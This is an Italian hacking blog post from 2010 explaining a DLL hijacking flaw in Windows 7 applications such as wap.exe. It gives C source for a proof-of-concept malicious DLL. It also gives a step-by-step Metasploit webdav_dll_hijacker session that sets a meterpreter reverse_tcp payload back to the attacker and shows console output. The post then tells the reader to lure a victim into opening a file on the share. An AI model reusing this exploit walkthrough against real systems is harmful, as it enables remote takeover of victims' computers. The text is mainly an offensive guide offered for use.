[DLL Hijacking] Windows 7 and more application Remote code Exuction => metasplooit

Questa nuova (non così nuova -.-’ ) del DLL Hijacking Exploit sta aprendo le porte a moltissimi virus.
Una immagine illustrativa di alcune applicazzioni vulnerabili:

Applicazioni che vanno incorporate di windows, a firefox e molte altre ancora.

Come funziona questa tecnica ?
(detta alla cazzo di cane merda -.-’ fuck off )
Durante la scrittura di applicazioni, si setta che il programma vada a prendersi delle funzioni contenute nelle dll (librerie).
La cosa errata è che se il programma richiama la dll “h.dll” e questa dll si trova dentro al file che viene aperto, se la PATH non è imposta il programma andrà a cercare la dll h.dll in varie destinazioni tra cui quella dove è situato il file aperto, perciò il programma, carica la falsa dll che avrà le stesse funzioni, della vera dll ma che eseguirà codice malevolo :D .
Ad esempio questo exploit per l’applicazione wap.exe di windows 7:

#include 
#define DLLIMPORT __declspec (dllexport)
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
} 

Si vede benissimo come il falso DllMain (una volta compilato => dll) esegua la funzione evil() => esegue calc.exe e esce :P

Sfruttando queste tecniche con metasploit, possiamo aprirci moltissime strade :D
Questa tecnica, usata con webdav :P permette anche l’esecuzione di codice remoto, come succedeva con i lnk exploit.

Vediamo come sfruttare questa vulnerabilità con metasploit e webdav :D

use windows/browser/webdav_dll_hijacker
Settiamo l’estensione della applicazione da attaccare :D
(Nel mio caso wap.exe di windows 7)
set extensions .group
set payload windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.21:4444
[*]
[*] Exploit links are now available at \\192.168.1.21\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.1.21:80/
[*] Server started.

Ora facciamo visitare alla vittima la nostra condivisione ;)
http://IP
oppure
\\IP
Ora la vittima dovrà aprire il file ;)
Se tutto andrà bene:

Visto che anche firefox vnc e moltissime altre applicazioni sono vulnerabili sbizzarittevi nel settare le estensioni su metasploit.

Per testare le applicazioni è stato anche rilasciato un tools:
DLLHijackAuditKit
disponibile su metasploit ;)
Mentre qui:
DOWNLOAD POC-EXPLOIT[TUTORIAL]

Related posts:

1. [CVE-2010-2568]Metasploit:windows Oday Remote Code Exuction
2. IE 6/7 EXPLOIT XML Remote Code Execution with METASPLOIT
3. [EXPLOIT]Windows Help Centre Remote code Excution
4. [CVE-2010-1297]Metasploit:Flash Player 9x, 10.0 Remote code Excution
5. [Metasploit]Sun Java Web Start Plugin Remote Code Excution

This entry was posted on Wednesday, August 25th, 2010 at 12:22 pm and is filed under Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Tagged with: attack • exploit • metasploit • Windows